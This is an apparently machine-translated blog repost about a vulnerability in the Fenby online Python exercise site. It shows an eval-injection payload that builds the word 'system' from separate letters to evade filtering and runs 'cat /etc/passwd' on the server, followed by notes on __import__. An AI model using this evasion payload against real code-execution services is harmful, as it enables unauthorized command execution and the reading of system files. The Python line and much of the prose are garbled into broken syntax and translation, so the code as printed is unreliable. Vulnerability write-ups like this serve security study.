Interesting examples of Python penetration

Source: Internet
Author: User

Today, I saw an interesting loophole in Wooyun. Say it interesting, the first is the idea is very special, of course, because the security is very low, the second use of the Python POC has a small details, hereby share.


Website called Fenby Network, mainly for Pythoner online learning, it has an online exercise function, you can enter the code, and then execute, test run the results ...

So the landlord registered an account, URL:http://www.fenby.com/course/units/xxxx

Then enter the following malicious code:

Import strings = ["s", "Y", "s", "T", "E", "M"]s = "" ". Join (s) cmd =" cat/etc/passwd "code =" __import__ (' OS '). "+ S +" (' "+ cmd + "')" eval (code)


So that's it ...

650) this.width=650; "src=" Http://s3.51cto.com/wyfs02/M02/6C/9A/wKioL1VN6AWiXCoBAAGITIL72WQ123.jpg "title=" Poc.png "alt=" Wkiol1vn6awixcobaagitil72wq123.jpg "/>

Here I would like to say two points, the first cause of the vulnerability is not filtering eval, the second code used in the different import and __import__.

Import is actually called __import__ but if it is written directly as Code = "__import__ (' Package.module '), it does not mean to say: Import Package.module as Package

when thenamevariable is of the formpackage.module, normally, the top-level package (the name up till the first dot) is returned, notThe module named byname.


This article from "Lao Xu's Private Food" blog, declined to reprint!

Interesting examples of Python penetration

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.